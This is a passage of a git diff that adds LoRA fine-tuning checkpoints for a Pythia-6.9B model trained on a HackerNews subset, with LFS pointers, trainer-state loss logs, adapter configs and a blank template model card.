"CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c9fa5861c9baf5a3b7aba00407a9ab6425ce513b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1fce7c4cba216cf81722f2bd76293a9d6dff4d95067255d11d3ebe49e1f07695 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..de7c4a8a193a88316baa91274911ba27953435bd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0544ffd7365a55b011078e6ab3ecf0d427d097e42252617197b69c3a183abc01 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b458d8885e612e71d79c420d6ca3a40dcdcf7fd8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f47a6a8940dea009f3b7ce239248233dd458275df17acc4fa8ff99eb346e8979 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..bf1961280088992857ddb8fe8d4584423c44edf6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6bf472a6dc646995e9eb3a1b728ed47b4f764790f096bc535722b440312b4b49 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..3fd7ec52f573a45d3242f2aeebf9af402c7a70bf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/trainer_state.json @@ -0,0 +1,618 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.2, + "eval_steps": 10, + "global_step": 390, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.39056807460864e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-390/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..2bea454402cdb0c0785771cd66bcf705a7e7cc69 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:167469672371df31df3f8b133c4f33b35fb5af206b5b04c7cc0cd9e8499461d1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ab2dc9e22b7073fd5dba74a35989ffd3d30a9194 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:427ef48aa1ea79505958d849d2250b3e4c5b8d8748e756f5a3ab3ec221a8ce34 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..cc0cb9030af17e56f3ab00fc0ad6850b4636069d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b5fde33a4ff115b0a519c0ef179183e0540c837c91cce3dba97312fa8e725570 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..1159228ea69439db76026731513cf5c71e57f3eb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5f953d62fd365ebab5cb8aad6e7c0cdb075e95f55a4cb36b4f4e0198710f2320 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..227d3538e5882ed127fb208f1749dceb7575f85e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/trainer_state.json @@ -0,0 +1,93 @@ +{ + "best_metric": 2.535550832748413, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40", + "epoch": 0.5333333333333333, + "eval_steps": 10, + "global_step": 40, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6554428794470400.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-40/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 